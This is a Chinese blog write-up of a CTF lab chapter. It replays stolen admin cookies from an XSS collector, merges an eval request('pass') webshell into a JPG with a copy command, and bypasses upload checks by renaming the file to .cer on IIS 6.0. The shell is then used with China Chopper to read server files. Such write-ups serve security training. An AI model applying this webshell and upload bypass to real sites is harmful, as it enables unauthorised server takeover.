封神台-第5章 绕过防护上传木马

原创

ploto_cs ● 于 2020-09-27 15:27:26 发布 ● 297 ☆ 收藏 分类专栏: <u># 封神台</u> 文章标签: <u>信息安全</u> 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u> 版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/ploto_cs/article/details/108828917</u> 版权



封神台专栏收录该内容

4 篇文章 0 订阅 订阅专栏

封神台-第五章 绕过防护上传木马

1.登录后台

项目名称: xss

Domain: 全部

 \sim

接口地址: https://xsspt.com/do/auth/5ad9d5b45ec69d3ecbd9ccfa9e5fc95b (加/domain/xxx可通过域名过滤内容) 安装插件

+全部	时间	接收的内容	Request Headers	操作
-折叠	2020-09-27 10:40:33	 location : http://59.63.200.7 9:8004/FeedbackView.asp toplocation : http://59.63.20 0.79:8004/FeedbackView.as p cookie : ASPSESSIONIDCS TSBSTS=NJFHBPCAPFBG BNKDHGADKBNO; flag=zkz {xsser-g00d},ADMINSESSIO NIDCSTRCSDQ=LBMLMBC CNPFINOANFGLPCFBC 	 HTTP_REFERER : http://59. 63.200.79:8004/FeedbackVI ew.asp HTTP_USER_AGENT : Moz illa/5.0 (Windows NT 6.1; W OW64) AppleWebKit/534.34 (KHTML, like Gecko) Phanto mJS/1.9.7 Safari/534.34 REMOTE_ADDR : 172.17.0. 1 	
		opener :		

获得了管理员的cookie后,去掉里面的flag部分,取出两个有效的键值对,把他们加到登录的cookie里就行了 键值对为ADMINSESSIONIDCSTRCSDQ=LBMLMBCCNPFINOANFGLPCFBC

修改为管理员cookie后请直接访问管理页面 准备好了吗?

在这个页面按F12 进入存储界面,更改name和value字段

Q 0 488 0 1080 D	Richal 14 Film () Hychemela () Hint () Hychemela () Hyche	★ 无障碍环境 Ⅲ 应用程序								0 d ··· >
- 🗄 Cookie	¥ 188111234888									+ 0
http://50.63.200.79.8005	病原	a	Domain	Path	Expires / Max-Age	大小	HttpOnly	Secure	SameSite	@893.5HS
> 🗄 @66046	ADMINSESSIONIDCSTRCSDQ	LBMUVBCCNPFINOANFGLPCF8C	59.63.200.79	1	916	46	faise	false	None	Sun, 27 Sep 2020.
> [7] Indexed DB	ASPSESSIONIDCSTSBSTS	NJFHEPCAPF9GENKDHGADKENO	59.63.200.79	1	93	45	faise	false N	None 5	Sun, 27 Sep 2020
	8kGOp9578D_think_template	default	59.63.200.79	1	Tue: 05 Oct 2020	32	false	false	None	Sun, 27 Sep 2020.
- C + ena	CNZZDATA1257137	cnzz_eld%3D1937800977-1601106722-%26ntime%3D1601113282	59.61.200.79	1	Sat, 27 Mar 2021	69	faise	false	None	Sun, 27 Sep 2020.
 日 #655# 	UM distinctid	174c905bb83a3-0c909e3ec360e28-4c38247a-144000-174c965bb	59.61.200.79	1	Sat, 27 Mar 2021	73	faise	false	None	Sun, 27 Sep 2020.

将ADMINSESSIONIDCSTRCSDQ粘贴在Name下将LBMLMBCCNPFINOANFGLPCFBC粘贴在value 修改成功后刷新点击"准备好了吗" 进入以下页面

			<u>û</u> 40	网站管理系统
(1) [1] [1] [1] [1] [1] [1] [1] [1] [1] [1]				a1194.18万元
		体提动和网络接	繁理供會理	
10.001	۲			
SHAR				
1000	۲			原始情報
060-10-17	۲	用作名: admin		IP: 111.30.290.40
040		每份以開:30 分钟		藏在動詞: 2020年9月27日15:12
N POINT IT	8	上級次数: 849		上級計詞: 2018-0-00 18:27:09
10.00	۲	服务器域名: 59.63.200.79 / 59.63.200.79	18005	脚本ma相引揮: VB6eript/6.6.8832
E BARRO TH		服务翻取件的名称: Microsoft-118/6.0		2日花葉根板本: Monilla/3.0 (Windows NT 10.0; Win64; p64; pv:80.0) Seckn/20100101 Firefox/80.0
100	*	FSO文本被写: √		第3時年後日: イ
15010		Jmaill回样变持: ×		CDONTS
Neb Information				
业网站管理系统				

2.合成图片马

1.jpg



1.txt

1 (Your) poquast	("pace")%	
I Wevai Tequest	(pass)%	

🖺 1.jpg	2020/9/27 14:29	图像 (jpg) 文件	6 KB
1.txt	2020/9/27 14:31	文本文档	1 KB

copy 1.jpg/b+1.txt/a 2.jpg

C:\Windows\sys	tem32\cmd.exe	
C:\Users\ploto\ 1.jpg	Desktop\文件\tool>copy 1.jpg/b+1.t	xt/a 2.jpg
己复制	1 个文件。	
C:\Users\ploto\	Desktop\文件\tool>	
		https://blog.csdn.net/ploto cs

3.寻找注入点

产品 鲁	き理	
------	----	--

脱胎漆器 雕刻 雕塑 浮雕 佛像 寿山石雕刻									
产品管理 >> 所有产品 共找到 3 个产品									
选中 ID 产品编号 产品名称 加					一百	审核情况	操作		
	116	32023265916	院士浮雕		3-3-20	已审核	修改 删除		
	115	32023251016	王直将军塑像收藏站点		3-3-20	已审核	修改 删除		
	114	32023223416	拿破仑加冕浮雕		3-3-20	已审核	修改 删除		
□ 选中本页显示的所有产品 删除选定的产品									

□ 选中本页显示的所有产品

共3 个产品 首页 上一页 下一页 尾页 页次: 1/1页 20个产品/页

查找产品:	查询	请输入产品名称。	如果为空,	则查找所有产品。
-------	----	----------	-------	----------

右侧修改处为文件上传点

4 -
上传

上传jpg文件后, 菜刀报错

jpg服务器无法解析,又因为服务器类型为IIS6.0,尝试将后缀改为cer

菜刀首页上右键添加

复制文件地址

◇ 代码 3 设计 2 文本 6 预览	4 -
UploadFiles/2020927145318545.c 文件上传成功! 文件大小为: 6K	
地址为http://ip:port/文件地址/文件名	

BF http://59.63.200.79:8005/UploadFiles/2020927145318545.cer

密码为pass , 脚本类型选择php

点击登录 进入后台

🚞 D: \06\06\			± 🛩	读取 星期日 2020-09-27
59.63.200.79 目录(10), 文件(176)	名称	时间	大小 属性	t 👘 🖂 💷 站点类别
⇔ C: ⊟ ⇔ D:	🛅 edmin	2020-05-12 11:35:00	0 16	○ 默认类别 ○ Typel
	🔁 Databases 2	2020-05-12 11:35:45	0 16	
Databases	🔁 flash	2020-05-12 11:34:58	0 16	
Images	🛅 Inagez	2020-05-12 11:34:55	0 16	
inghly inghyw	🗀 Ing	2020-05-12 11:34:54	0 16	
ino Menu	🧰 imphy	2020-05-12 11:34	0 16	
🙄 UploadFiles 🖙 E	🧰 ingbyw	2020-05-12 11:34:54	0 16	
⇐ E\	🛅 Inc	2020-05-12 11:34:54	0 16	
	🛅 flens	2020-05-12 11:34:54	0 16	
	Control Volumer	2020-05-12 11:34.54	lpg.csdr	

找到flag

C: D: 56 65 64 10 10 10 10 10 10 10 10 10 10	Error. ASP	2013-04-07 18:15:18 3313 32
	Feedback asp	2018-06-02 19:55:42 9692 32
	TeedbackMember.axp	2013-04-07 18:15:18 10372 32
	D FeedbackSave. asp	2013-04-07 18:15:18 2282 32
	📄 FeedbackView. asp	2013-04-07 18:15:18 9195 32
	FLAG!.txt	2018-03-30 19:26:58 24 32
	Foot. asp	2013-04-07 18:15:18 1129 32
	GetPassword.asp	2013-04-07 18:15:18 9990 32
	Head. asp	2013-04-07 18:15:18 5041 32
	Thelp. asp	2013-04-07 18:15:18 2025 32

网络信息安全-ploto